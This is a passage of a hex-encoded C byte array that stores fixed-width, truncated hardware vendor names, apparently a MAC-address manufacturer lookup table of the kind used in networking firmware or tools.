0x63, 0x74, 0x65, 0x6c, 0x00, +0x4b, 0x61, 0x70, 0x61, 0x64, 0x69, 0x61, 0x43, +0x56, 0x65, 0x72, 0x69, 0x73, 0x49, 0x6e, 0x64, +0x4e, 0x6f, 0x76, 0x74, 0x65, 0x6b, 0x54, 0x65, +0x4d, 0x69, 0x70, 0x73, 0x44, 0x65, 0x6e, 0x6d, +0x4f, 0x73, 0x6b, 0x61, 0x72, 0x56, 0x69, 0x65, +0x56, 0x6f, 0x63, 0x61, 0x6c, 0x44, 0x61, 0x74, +0x41, 0x6c, 0x61, 0x6e, 0x74, 0x72, 0x6f, 0x43, +0x4c, 0x61, 0x6e, 0x62, 0x69, 0x72, 0x64, 0x54, +0x53, 0x68, 0x69, 0x6e, 0x61, 0x6e, 0x6f, 0x4b, +0x43, 0x68, 0x61, 0x73, 0x65, 0x43, 0x6f, 0x6d, +0x44, 0x65, 0x6c, 0x74, 0x61, 0x6b, 0x61, 0x62, +0x54, 0x6c, 0x49, 0x6e, 0x64, 0x75, 0x73, 0x74, +0x4f, 0x72, 0x65, 0x73, 0x69, 0x73, 0x43, 0x6f, +0x43, 0x75, 0x74, 0x6c, 0x65, 0x72, 0x2d, 0x48, +0x42, 0x69, 0x74, 0x73, 0x77, 0x69, 0x74, 0x63, +0x4f, 0x6d, 0x65, 0x67, 0x61, 0x45, 0x6c, 0x65, +0x44, 0x72, 0x73, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x4b, 0x61, 0x74, 0x73, 0x75, 0x6a, 0x69, 0x6d, +0x49, 0x70, 0x72, 0x69, 0x63, 0x6f, 0x74, 0x46, +0x43, 0x72, 0x65, 0x73, 0x63, 0x65, 0x6e, 0x74, +0x49, 0x6f, 0x6d, 0x65, 0x67, 0x61, 0x00, 0x00, +0x4c, 0x61, 0x74, 0x74, 0x69, 0x63, 0x65, 0x53, +0x45, 0x6d, 0x75, 0x74, 0x65, 0x63, 0x00, 0x00, +0x42, 0x61, 0x6c, 0x74, 0x68, 0x61, 0x7a, 0x61, +0x56, 0x69, 0x76, 0x69, 0x64, 0x54, 0x65, 0x63, +0x54, 0x65, 0x72, 0x61, 0x74, 0x65, 0x63, 0x68, +0x43, 0x6f, 0x6d, 0x70, 0x75, 0x74, 0x61, 0x74, +0x54, 0x68, 0x6f, 0x6d, 0x61, 0x73, 0x42, 0x65, +0x50, 0x61, 0x74, 0x68, 0x77, 0x61, 0x79, 0x00, +0x50, 0x72, 0x65, 0x76, 0x61, 0x73, 0x00, 0x00, +0x44, 0x61, 0x73, 0x61, 0x6e, 0x00, 0x00, 0x00, +0x41, 0x74, 0x61, 0x6e, 0x54, 0x65, 0x63, 0x68, +0x49, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x4c, +0x4d, 0x6f, 0x72, 0x65, 0x74, 0x6f, 0x6e, 0x42, +0x5a, 0x68, 0x6f, 0x6e, 0x67, 0x78, 0x69, 0x6e, +0x45, 0x70, 0x69, 0x6c, 0x6f, 0x67, 0x00, 0x00, +0x56, 0x2d, 0x42, 0x69, 0x74, 0x73, 0x00, 0x00, +0x47, 0x72, 0x75, 0x6e, 0x64, 0x69, 0x67, 0x00, +0x41, 0x65, 0x74, 0x68, 0x72, 0x61, 0x54, 0x65, +0x42, 0x32, 0x63, 0x32, 0x00, 0x00, 0x00, 0x00, +0x54, 0x61, 0x69, 0x63, 0x6f, 0x6d, 0x44, 0x61, +0x4d, 0x63, 0x71, 0x75, 0x61, 0x79, 0x49, 0x6e, +0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x61, 0x72, 0x4d, +0x53, 0x75, 0x6e, 0x72, 0x69, 0x73, 0x65, 0x54, +0x4b, 0x75, 0x7a, 0x75, 0x6d, 0x69, 0x45, 0x6c, +0x44, 0x6f, 0x6f, 0x69, 0x6e, 0x45, 0x6c, 0x65, +0x41, 0x76, 0x69, 0x6f, 0x6e, 0x69, 0x74, 0x65, +0x4d, 0x72, 0x74, 0x4d, 0x69, 0x63, 0x72, 0x6f, +0x45, 0x6c, 0x65, 0x2d, 0x43, 0x68, 0x65, 0x6d, +0x53, 0x6f, 0x6c, 0x69, 0x64, 0x75, 0x6d, 0x00, +0x49, 0x62, 0x6f, 0x6e, 0x64, 0x00, 0x00, 0x00, +0x56, 0x63, 0x6f, 0x6e, 0x54, 0x65, 0x6c, 0x65, +0x4d, 0x61, 0x63, 0x53, 0x79, 0x73, 0x74, 0x65, +0x4e, 0x65, 0x78, 0x74, 0x6f, 0x6e, 0x65, 0x43, +0x4c, 0x69, 0x67, 0x68, 0x74, 0x65, 0x72, 0x61, +0x4e, 0x61, 0x6b, 0x61, 0x79, 0x6f, 0x00, 0x00, +0x58, 0x69, 0x6f, 0x78, 0x00, 0x00, 0x00, 0x00, +0x44, 0x69, 0x63, 0x74, 0x61, 0x70, 0x68, 0x6f, +0x49, 0x67, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x6e, 0x76, 0x69, 0x73, 0x69, 0x6f, +0x53, 0x65, 0x67, 0x61, 0x45, 0x6e, 0x74, 0x65, +0x4d, 0x6f, 0x6e, 0x74, 0x65, 0x72, 0x65, 0x79, +0x53, 0x6f, 0x6c, 0x61, 0x72, 0x69, 0x44, 0x69, +0x43, 0x61, 0x72, 0x69, 0x6e, 0x74, 0x68, 0x69, +0x4f, 0x72, 0x61, 0x6e, 0x67, 0x65, 0x4d, 0x69, +0x4e, 0x65, 0x78, 0x74, 0x4e, 0x65, 0x74, 0x73, +0x41, 0x63, 0x75, 0x74, 0x65, 0x43, 0x6f, 0x6d, +0x54, 0x65, 0x6b, 0x4d, 0x69, 0x63, 0x72, 0x6f, +0x47, 0x72, 0x61, 0x6e, 0x69, 0x74, 0x65, 0x4d, +0x4f, 0x70, 0x74, 0x69, 0x6d, 0x61, 0x54, 0x65, +0x41, 0x73, 0x74, 0x72, 0x61, 0x6c, 0x50, 0x6f, +0x41, 0x63, 0x65, 0x74, 0x65, 0x6c, 0x00, 0x00, +0x53, 0x70, 0x67, 0x43, 0x6f, 0x6e, 0x74, 0x72, +0x48, 0x6f, 0x74, 0x65, 0x6c, 0x54, 0x65, 0x63, +0x41, 0x6c, 0x62, 0x65, 0x64, 0x6f, 0x54, 0x65, +0x54, 0x68, 0x61, 0x6d, 0x77, 0x61, 0x79, 0x00, +0x53, 0x74, 0x72, 0x61, 0x6e, 0x64, 0x4c, 0x69, +0x43, 0x72, 0x6f, 0x73, 0x73, 0x72, 0x6f, 0x61, +0x4e, 0x6f, 0x6b, 0x69, 0x61, 0x57, 0x69, 0x72, +0x50, 0x6d, 0x63, 0x2d, 0x53, 0x69, 0x65, 0x72, +0x53, 0x69, 0x6c, 0x69, 0x63, 0x6f, 0x6e, 0x49, +0x41, 0x76, 0x61, 0x79, 0x61, 0x45, 0x63, 0x73, +0x41, 0x6d, 0x61, 0x7a, 0x69, 0x6e, 0x67, 0x43, +0x44, 0x69, 0x62, 0x61, 0x00, 0x00, 0x00, 0x00, +0x52, 0x6f, 0x6f, 0x66, 0x74, 0x6f, 0x70, 0x43, +0x52, 0x61, 0x64, 0x69, 0x61, 0x6e, 0x74, 0x00, +0x41, 0x76, 0x61, 0x6c, 0x6f, 0x6e, 0x49, 0x6d, +0x48, 0x65, 0x73, 0x73, 0x53, 0x62, 0x2d, 0x41, +0x55, 0x6e, 0x69, 0x64, 0x65, 0x6e, 0x00, 0x00, +0x50, 0x6c, 0x75, 0x74, 0x6f, 0x54, 0x65, 0x63, +0x45, 0x61, 0x73, 0x74, 0x65, 0x72, 0x6e, 0x45, +0x48, 0x65, 0x69, 0x77, 0x61, 0x00, 0x00, 0x00, +0x52, 0x61, 0x70, 0x69, 0x64, 0x2d, 0x43, 0x69, +0x45, 0x78, 0x78, 0x61, 0x63, 0x74, 0x00, 0x00, +0x41, 0x73, 0x75, 0x73, 0x74, 0x65, 0x6b, 0x49, +0x49, 0x6e, 0x67, 0x47, 0x69, 0x6f, 0x72, 0x64, +0x43, 0x6f, 0x6d, 0x74, 0x65, 0x63, 0x00, 0x00, +0x53, 0x70, 0x68, 0x65, 0x72, 0x65, 0x43, 0x6f, +0x57, 0x65, 0x62, 0x74, 0x76, 0x4e, 0x65, 0x74, +0x41, 0x76, 0x69, 0x64, 0x69, 0x61, 0x00, 0x00, +0x54, 0x65, 0x63, 0x6e, 0x6f, 0x6d, 0x65, 0x6e, +0x46, 0x72, 0x65, 0x65, 0x67, 0x61, 0x74, 0x65, +0x54, 0x65, 0x6c, 0x72, 0x61, 0x64, 0x00, 0x00, +0x47, 0x61, 0x64, 0x7a, 0x6f, 0x6f, 0x78, 0x4e, +0x44, 0x69, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x52, 0x65, 0x64, 0x6c, 0x61, 0x6b, 0x65, 0x4d, +0x44, 0x75, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x70, 0x74, 0x69, 0x78, 0x00, 0x00, 0x00, +0x53, 0x6d, 0x63, 0x45, 0x74, 0x68, 0x65, 0x72, +0x41, 0x73, 0x74, 0x2d, 0x42, 0x75, 0x69, 0x6c, +0x53, 0x70, 0x63, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x4d, 0x63, 0x6e, 0x73, 0x48, 0x6f, 0x6c, 0x64, +0x4d, 0x65, 0x6c, 0x69, 0x74, 0x61, 0x49, 0x6e, +0x4d, 0x69, 0x73, 0x79, 0x73, 0x46, 0x69, 0x6e, +0x45, 0x45, 0x50, 0x44, 0x00, 0x00, 0x00, 0x00, +0x50, 0x69, 0x6f, 0x6e, 0x65, 0x65, 0x72, 0x00, +0x50, 0x72, 0x6f, 0x78, 0x69, 0x6d, 0x61, 0x00, +0x50, 0x61, 0x72, 0x61, 0x64, 0x79, 0x6e, 0x65, +0x50, 0x72, 0x6f, 0x6d, 0x69, 0x6e, 0x65, 0x74, +0x41, 0x64, 0x76, 0x61, 0x6e, 0x73, 0x79, 0x73, +0x46, 0x6f, 0x63, 0x6f, 0x6e, 0x45, 0x6c, 0x65, +0x41, 0x6c, 0x66, 0x61, 0x74, 0x65, 0x63, 0x68, +0x4a, 0x61, 0x74, 0x6f, 0x6e, 0x00, 0x00, 0x00, +0x44, 0x65, 0x73, 0x6b, 0x73, 0x74, 0x61, 0x74, +0x43, 0x73, 0x70, 0x69, 0x00, 0x00, 0x00, 0x00, +0x50, 0x61, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00, +0x56, 0x69, 0x74, 0x61, 0x6c, 0x63, 0x6f, 0x6d, +0x4c, 0x73, 0x69, 0x63, 0x73, 0x00, 0x00, 0x00, +0x54, 0x6f, 0x75, 0x63, 0x68, 0x77, 0x61, 0x76, +0x42, 0x65, 0x6e, 0x74, 0x6c, 0x79, 0x4e, 0x65, +0x49, 0x6e, 0x66, 0x6f, 0x63, 0x75, 0x73, 0x00, +0x53, 0x64, 0x6c, 0x43, 0x6f, 0x6d, 0x6d, 0x75, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x77, 0x69, 0x45, +0x5a, 0x78, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, +0x4a, 0x75, 0x6d, 0x70, 0x49, 0x6e, 0x64, 0x75, +0x52, 0x65, 0x61, 0x6c, 0x74, 0x65, 0x6b, 0x53, +0x53, 0x61, 0x6e, 0x79, 0x6f, 0x44, 0x65, 0x6e, +0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x6f, 0x6e, +0x54, 0x61, 0x6c, 0x78, 0x00, 0x00, 0x00, 0x00, +0x43, 0x65, 0x6c, 0x6c, 0x70, 0x6f, 0x72, 0x74, +0x4b, 0x6f, 0x64, 0x61, 0x69, 0x48, 0x69, 0x74, +0x49, 0x6e, 0x67, 0x65, 0x6e, 0x69, 0x65, 0x72, +0x48, 0x6f, 0x6c, 0x6f, 0x6e, 0x74, 0x65, 0x63, +0x48, 0x61, 0x6e, 0x4d, 0x69, 0x63, 0x72, 0x6f, +0x50, 0x68, 0x61, 0x73, 0x65, 0x4f, 0x6e, 0x65, +0x47, 0x61, 0x6c, 0x65, 0x61, 0x4e, 0x65, 0x74, +0x57, 0x65, 0x73, 0x74, 0x45, 0x6e, 0x64, 0x00, +0x55, 0x6e, 0x69, 0x74, 0x65, 0x63, 0x00, 0x00, +0x4a, 0x61, 0x70, 0x61, 0x6e, 0x41, 0x76, 0x69, +0x45, 0x2d, 0x4e, 0x65, 0x74, 0x00, 0x00, 0x00, +0x45, 0x64, 0x67, 0x65, 0x70, 0x6f, 0x69, 0x6e, +0x48, 0x6f, 0x73, 0x74, 0x45, 0x6e, 0x67, 0x69, +0x50, 0x72, 0x6f, 0x6d, 0x61, 0x78, 0x00, 0x00, +0x45, 0x61, 0x63, 0x41, 0x75, 0x74, 0x6f, 0x6d, +0x4d, 0x65, 0x72, 0x72, 0x69, 0x6d, 0x61, 0x63, +0x4a, 0x61, 0x79, 0x63, 0x6f, 0x72, 0x00, 0x00, +0x4b, 0x61, 0x70, 0x73, 0x63, 0x68, 0x00, 0x00, +0x57, 0x26, 0x47, 0x53, 0x70, 0x65, 0x63, 0x69, +0x43, 0x6f, 0x6d, 0x70, 0x75, 0x77, 0x61, 0x72, +0x46, 0x61, 0x72, 0x53, 0x50, 0x41, 0x00, 0x00, +0x44, 0x68, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, +0x45, 0x70, 0x69, 0x73, 0x4d, 0x69, 0x63, 0x72, +0x54, 0x69, 0x65, 0x72, 0x6e, 0x61, 0x6e, 0x43, +0x44, 0x65, 0x76, 0x65, 0x6c, 0x6f, 0x70, 0x6d, +0x57, 0x65, 0x62, 0x67, 0x65, 0x61, 0x72, 0x00, +0x41, 0x54, 0x4e, 0x52, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x69, 0x6b, 0x72, 0x6f, 0x64, 0x69, 0x64, +0x57, 0x61, 0x6c, 0x74, 0x44, 0x69, 0x73, 0x6e, +0x4c, 0x6f, 0x67, 0x69, 0x73, 0x74, 0x69, 0x73, +0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x52, +0x54, 0x79, 0x61, 0x6e, 0x43, 0x6f, 0x6d, 0x70, +0x41, 0x6e, 0x65, 0x72, 0x6d, 0x61, 0x00, 0x00, +0x4a, 0x61, 0x74, 0x6f, 0x54, 0x65, 0x63, 0x68, +0x43, 0x6f, 0x6d, 0x70, 0x75, 0x6c, 0x69, 0x74, +0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x4d, 0x61, +0x4c, 0x65, 0x63, 0x72, 0x6f, 0x79, 0x2d, 0x4e, +0x4c, 0x74, 0x78, 0x2d, 0x43, 0x72, 0x65, 0x64, +0x47, 0x65, 0x63, 0x41, 0x76, 0x65, 0x72, 0x79, +0x4e, 0x65, 0x6f, 0x70, 0x61, 0x72, 0x61, 0x64, +0x50, 0x72, 0x65, 0x73, 0x73, 0x75, 0x72, 0x65, +0x42, 0x65, 0x63, 0x6b, 0x6d, 0x61, 0x6e, 0x4c, +0x41, 0x64, 0x6d, 0x74, 0x65, 0x6b, 0x00, 0x00, +0x41, 0x63, 0x6b, 0x66, 0x69, 0x6e, 0x4e, 0x65, +0x4f, 0x73, 0x61, 0x69, 0x53, 0x72, 0x6c, 0x00, +0x53, 0x68, 0x69, 0x6d, 0x61, 0x64, 0x7a, 0x75, +0x43, 0x61, 0x72, 0x72, 0x69, 0x65, 0x72, 0x41, +0x53, 0x61, 0x6d, 0x73, 0x6f, 0x6e, 0x00, 0x00, +0x45, 0x6e, 0x67, 0x61, 0x67, 0x65, 0x4e, 0x65, +0x4d, 0x69, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, +0x53, 0x61, 0x72, 0x6e, 0x6f, 0x66, 0x66, 0x00, +0x50, 0x69, 0x78, 0x65, 0x6c, 0x56, 0x69, 0x73, +0x57, 0x69, 0x6c, 0x74, 0x72, 0x6f, 0x6e, 0x00, +0x48, 0x69, 0x6d, 0x61, 0x50, 0x61, 0x75, 0x6c, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x73, 0x6c, 0x61, +0x45, 0x73, 0x61, 0x6f, 0x74, 0x65, 0x53, 0x50, +0x43, 0x6f, 0x6d, 0x63, 0x6f, 0x72, 0x65, 0x53, +0x54, 0x65, 0x6c, 0x6f, 0x67, 0x79, 0x4e, 0x65, +0x49, 0x70, 0x63, 0x49, 0x6e, 0x66, 0x6f, 0x72, +0x53, 0x61, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x46, 0x75, 0x6e, 0x61, 0x69, 0x45, 0x6c, 0x65, +0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, 0x6f, 0x73, +0x44, 0x69, 0x6d, 0x61, 0x74, 0x53, 0x41, 0x00, +0x4d, 0x69, 0x64, 0x73, 0x63, 0x6f, 0x00, 0x00, +0x45, 0x65, 0x73, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x58, 0x61, 0x71, 0x74, 0x69, 0x00, 0x00, 0x00, +0x54, 0x65, 0x6c, 0x6d, 0x61, 0x78, 0x43, 0x6f, +0x45, 0x74, 0x68, 0x65, 0x72, 0x77, 0x61, 0x6e, +0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x53, 0x63, +0x41, 0x72, 0x64, 0x65, 0x6e, 0x74, 0x43, 0x6f, +0x45, 0x6e, 0x74, 0x72, 0x61, 0x64, 0x61, 0x4e, +0x50, 0x69, 0x47, 0x72, 0x6f, 0x75, 0x70, 0x00, +0x42, 0x79, 0x61, 0x73, 0x00, 0x00, 0x00, 0x00, +0x42, 0x65, 0x72, 0x67, 0x68, 0x6f, 0x66, 0x41, +0x4e, 0x62, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, +0x53, 0x79, 0x6d, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, +0x47, 0x65, 0x6e, 0x72, 0x6f, 0x63, 0x6f, 0x49, +0x54, 0x6f, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x4e, +0x4e, 0x65, 0x63, 0x73, 0x79, 0x53, 0x50, 0x41, +0x53, 0x61, 0x6b, 0x61, 0x69, 0x53, 0x79, 0x73, +0x48, 0x6f, 0x72, 0x6e, 0x65, 0x72, 0x45, 0x6c, +0x42, 0x63, 0x6f, 0x6d, 0x45, 0x6c, 0x65, 0x63, +0x4c, 0x69, 0x6e, 0x6b, 0x32, 0x69, 0x74, 0x4c, +0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6c, 0x41, +0x42, 0x65, 0x73, 0x74, 0x44, 0x61, 0x74, 0x61, +0x52, 0x65, 0x73, 0x6f, 0x6e, 0x00, 0x00, 0x00, +0x48, 0x65, 0x72, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x53, 0x61, 0x61, 0x62, 0x53, 0x65, 0x6e, 0x73, +0x41, 0x72, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x65, 0x74, 0x73, 0x70, 0x65, 0x65, 0x64, +0x54, 0x65, 0x6c, 0x73, 0x69, 0x73, 0x00, 0x00, +0x56, 0x65, 0x72, 0x73, 0x61, 0x6e, 0x65, 0x74, +0x44, 0x61, 0x74, 0x65, 0x6e, 0x74, 0x65, 0x63, +0x45, 0x78, 0x63, 0x65, 0x6c, 0x6c, 0x65, 0x6e, +0x4c, 0x61, 0x6e, 0x62, 0x69, 0x74, 0x43, 0x6f, +0x54, 0x61, 0x7a, 0x6d, 0x6f, 0x00, 0x00, 0x00, +0x56, 0x69, 0x61, 0x76, 0x69, 0x64, 0x65, 0x6f, +0x4e, 0x65, 0x78, 0x77, 0x61, 0x72, 0x65, 0x00, +0x44, 0x61, 0x74, 0x61, 0x78, 0x4e, 0x76, 0x00, +0x4b, 0x65, 0x79, 0x6d, 0x69, 0x6c, 0x65, 0x00, +0x53, 0x69, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, +0x47, 0x32, 0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, +0x49, 0x6e, 0x6e, 0x6f, 0x76, 0x61, 0x00, 0x00, +0x53, 0x6b, 0x2d, 0x45, 0x6c, 0x65, 0x6b, 0x74, +0x46, 0x61, 0x6e, 0x75, 0x63, 0x52, 0x6f, 0x62, +0x43, 0x69, 0x6e, 0x63, 0x6f, 0x4e, 0x65, 0x74, +0x49, 0x6e, 0x63, 0x61, 0x61, 0x43, 0x6f, 0x6d, +0x47, 0x72, 0x65, 0x74, 0x61, 0x63, 0x6f, 0x64, +0x44, 0x61, 0x74, 0x61, 0x4c, 0x61, 0x62, 0x73, +0x49, 0x6e, 0x6e, 0x6f, 0x76, 0x61, 0x74, 0x43, +0x44, 0x69, 0x67, 0x69, 0x63, 0x6f, 0x6d, 0x00, +0x43, 0x65, 0x6c, 0x65, 0x73, 0x74, 0x69, 0x63, +0x53, 0x69, 0x6c, 0x69, 0x63, 0x6f, 0x6d, 0x00, +0x4d, 0x61, 0x72, 0x65, 0x6c, 0x48, 0x66, 0x00, +0x44, 0x69, 0x6f, 0x6e, 0x65, 0x78, 0x00, 0x00, +0x41, 0x62, 0x6c, 0x65, 0x72, 0x54, 0x65, 0x63, +0x54, 0x68, 0x61, 0x74, 0x00, 0x00, 0x00, 0x00, +0x41, 0x72, 0x6c, 0x6f, 0x74, 0x74, 0x6f, 0x43, +0x57, 0x65, 0x62, 0x73, 0x70, 0x72, 0x69, 0x6e, +0x49, 0x6e, 0x73, 0x69, 0x64, 0x65, 0x54, 0x65, +0x54, 0x65, 0x6c, 0x65, 0x73, 0x00, 0x00, 0x00, +0x44, 0x65, 0x63, 0x69, 0x73, 0x69, 0x6f, 0x6e, +0x44, 0x69, 0x63, 0x6e, 0x61, 0x43, 0x6f, 0x6e, +0x54, 0x72, 0x6c, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x4c, 0x65, 0x69, 0x67, 0x68, 0x74, 0x72, 0x6f, +0x41, 0x2d, 0x54, 0x72, 0x65, 0x6e, 0x64, 0x54, +0x41, 0x6b, 0x2d, 0x53, 0x79, 0x73, 0x74, 0x65, +0x4e, 0x69, 0x78, 0x64, 0x6f, 0x72, 0x66, 0x43, +0x4e, 0x65, 0x74, 0x7a, 0x69, 0x6e, 0x54, 0x65, +0x4d, 0x65, 0x67, 0x67, 0x69, 0x74, 0x74, 0x54, +0x4b, 0x77, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, +0x57, 0x6f, 0x6f, 0x53, 0x70, 0x6f, 0x72, 0x74, +0x4f, 0x72, 0x62, 0x69, 0x73, 0x4f, 0x79, 0x00, +0x50, 0x74, 0x50, 0x61, 0x6e, 0x67, 0x67, 0x75, +0x44, 0x67, 0x73, 0x44, 0x65, 0x6e, 0x6d, 0x61, +0x43, 0x6c, 0x6f, 0x6f, 0x73, 0x45, 0x6c, 0x65, +0x57, 0x65, 0x62, 0x73, 0x69, 0x6c, 0x69, 0x63, +0x49, 0x6e, 0x74, 0x72, 0x65, 0x70, 0x69, 0x64, +0x4e, 0x65, 0x76, 0x61, 0x74, 0x65, 0x63, 0x00, +0x50, 0x4e, 0x2d, 0x4d, 0x43, 0x00, 0x00, 0x00, +0x42, 0x62, 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x72, +0x52, 0x61, 0x63, 0x61, 0x6c, 0x2d, 0x44, 0x61, +0x33, 0x63, 0x6f, 0x6d, 0x49, 0x62, 0x6d, 0x50, +0x43, 0x4d, 0x43, 0x00, 0x00, 0x00, 0x00, 0x00, +0x56, 0x61, 0x6c, 0x65, 0x6e, 0x73, 0x53, 0x65, +0x58, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6d, 0x70, +0x47, 0x72, 0x61, 0x73, 0x70, 0x68, 0x65, 0x72, +0x57, 0x61, 0x76, 0x65, 0x69, 0x70, 0x00, 0x00, +0x48, 0x6f, 0x73, 0x74, 0x4d, 0x6f, 0x62, 0x69, +0x44, 0x72, 0x65, 0x61, 0x6d, 0x57, 0x61, 0x72, +0x44, 0x73, 0x70, 0x77, 0x6f, 0x72, 0x6b, 0x73, +0x49, 0x6e, 0x73, 0x69, 0x67, 0x68, 0x74, 0x45, +0x47, 0x66, 0x72, 0x47, 0x65, 0x73, 0x65, 0x6c, +0x50, 0x69, 0x63, 0x6f, 0x63, 0x65, 0x6c, 0x61, +0x46, 0x69, 0x72, 0x73, 0x74, 0x50, 0x72, 0x6f, +0x41, 0x74, 0x6f, 0x63, 0x73, 0x53, 0x68, 0x65, +0x49, 0x6e, 0x73, 0x70, 0x75, 0x72, 0x47, 0x72, +0x50, 0x61, 0x72, 0x74, 0x72, 0x6f, 0x6e, 0x00, +0x47, 0x79, 0x65, 0x79, 0x6f, 0x75, 0x6e, 0x67, +0x53, 0x6d, 0x4f, 0x70, 0x74, 0x69, 0x63, 0x73, +0x47, 0x6f, 0x70, 0x72, 0x6f, 0x00, 0x00, 0x00, +0x54, 0x65, 0x6c, 0x65, 0x63, 0x6f, 0x6e, 0x47, +0x52, 0x61, 0x6d, 0x61, 0x78, 0x65, 0x6c, 0x54, +0x46, 0x75, 0x6a, 0x69, 0x61, 0x6e, 0x53, 0x61, +0x41, 0x64, 0x61, 0x70, 0x74, 0x65, 0x76, 0x61, +0x51, 0x69, 0x6b, 0x75, 0x49, 0x6e, 0x74, 0x65, +0x53, 0x79, 0x73, 0x6f, 0x72, 0x65, 0x78, 0x47, +0x42, 0x72, 0x69, 0x76, 0x69, 0x65, 0x77, 0x58, +0x47, 0x69, 0x6f, 0x6e, 0x65, 0x65, 0x43, 0x6f, +0x53, 0x65, 0x72, 0x74, 0x65, 0x6c, 0x45, 0x6c, +0x53, 0x69, 0x63, 0x68, 0x75, 0x61, 0x6e, 0x57, +0x5a, 0x6d, 0x6f, 0x64, 0x6f, 0x54, 0x65, 0x63, +0x47, 0x6f, 0x73, 0x75, 0x6e, 0x64, 0x47, 0x72, +0x43, 0x61, 0x6d, 0x74, 0x72, 0x6f, 0x6e, 0x49, +0x41, 0x6c, 0x73, 0x74, 0x6f, 0x6d, 0x48, 0x79, +0x4e, 0x6f, 0x6d, 0x65, 0x4f, 0x79, 0x00, 0x00, +0x54, 0x65, 0x73, 0x74, 0x6f, 0x70, 0x00, 0x00, +0x53, 0x63, 0x65, 0x6d, 0x74, 0x65, 0x63, 0x48, +0x53, 0x79, 0x73, 0x64, 0x69, 0x6e, 0x65, 0x00, +0x42, 0x72, 0x79, 0x73, 0x74, 0x6f, 0x6e, 0x00, +0x4f, 0x70, 0x65, 0x6e, 0x72, 0x74, 0x6c, 0x73, +0x54, 0x61, 0x69, 0x79, 0x65, 0x61, 0x72, 0x45, +0x41, 0x6c, 0x69, 0x67, 0x65, 0x72, 0x61, 0x45, +0x43, 0x73, 0x73, 0x74, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x6f, 0x6f, 0x62, 0x6f, 0x78, 0x00, 0x00, +0x43, 0x6c, 0x61, 0x63, 0x6b, 0x00, 0x00, 0x00, +0x37, 0x69, 0x6e, 0x6f, 0x76, 0x61, 0x54, 0x65, +0x45, 0x69, 0x66, 0x65, 0x6c, 0x77, 0x65, 0x72, +0x42, 0x65, 0x61, 0x74, 0x73, 0x45, 0x6c, 0x65, +0x53, 0x6b, 0x73, 0x70, 0x72, 0x75, 0x63, 0x65, +0x54, 0x68, 0x69, 0x6e, 0x70, 0x61, 0x64, 0x54, +0x49, 0x77, 0x61, 0x79, 0x00, 0x00, 0x00, 0x00, +0x54, 0x65, 0x63, 0x6e, 0x6f, 0x4d, 0x6f, 0x62, +0x43, 0x61, 0x74, 0x63, 0x68, 0x57, 0x69, 0x6e, +0x54, 0x65, 0x6e, 0x64, 0x61, 0x54, 0x65, 0x63, +0x57, 0x75, 0x78, 0x69, 0x53, 0x6b, 0x79, 0x43, +0x4c, 0x61, 0x72, 0x74, 0x65, 0x63, 0x68, 0x54, +0x45, 0x61, 0x64, 0x69, 0x6e, 0x67, 0x63, 0x6f, +0x42, 0x6d, 0x74, 0x4d, 0x65, 0x64, 0x69, 0x63, +0x53, 0x6d, 0x6f, 0x62, 0x69, 0x6c, 0x65, 0x00, +0x45, 0x6d, 0x69, 0x63, 0x6f, 0x6e, 0x00, 0x00, +0x45, 0x6c, 0x65, 0x63, 0x6f, 0x6d, 0x00, 0x00, +0x48, 0x6f, 0x6c, 0x74, 0x65, 0x6b, 0x53, 0x65, +0x53, 0x65, 0x61, 0x6d, 0x61, 0x70, 0x55, 0x6b, +0x42, 0x73, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, +0x5a, 0x65, 0x6e, 0x6e, 0x65, 0x72, 0x00, 0x00, +0x4c, 0x69, 0x53, 0x65, 0x6e, 0x67, 0x54, 0x65, +0x50, 0x61, 0x76, 0x69, 0x6c, 0x69, 0x6f, 0x6e, +0x49, 0x73, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, +0x54, 0x69, 0x67, 0x6f, 0x45, 0x6e, 0x65, 0x72, +0x43, 0x6c, 0x6f, 0x76, 0x65, 0x72, 0x4e, 0x65, +0x53, 0x61, 0x6d, 0x74, 0x65, 0x63, 0x00, 0x00, +0x50, 0x68, 0x69, 0x73, 0x74, 0x65, 0x6b, 0x00, +0x54, 0x72, 0x61, 0x6b, 0x61, 0x00, 0x00, 0x00, +0x57, 0x69, 0x6c, 0x6f, 0x63, 0x69, 0x74, 0x79, +0x4d, 0x61, 0x6e, 0x79, 0x63, 0x6f, 0x6c, 0x6f, +0x5a, 0x6e, 0x76, 0x00, 0x00, 0x00, 0x00, 0x00, +0x59, 0x26, 0x48, 0x45, 0x26, 0x43, 0x00, 0x00, +0x53, 0x75, 0x6e, 0x74, 0x65, 0x63, 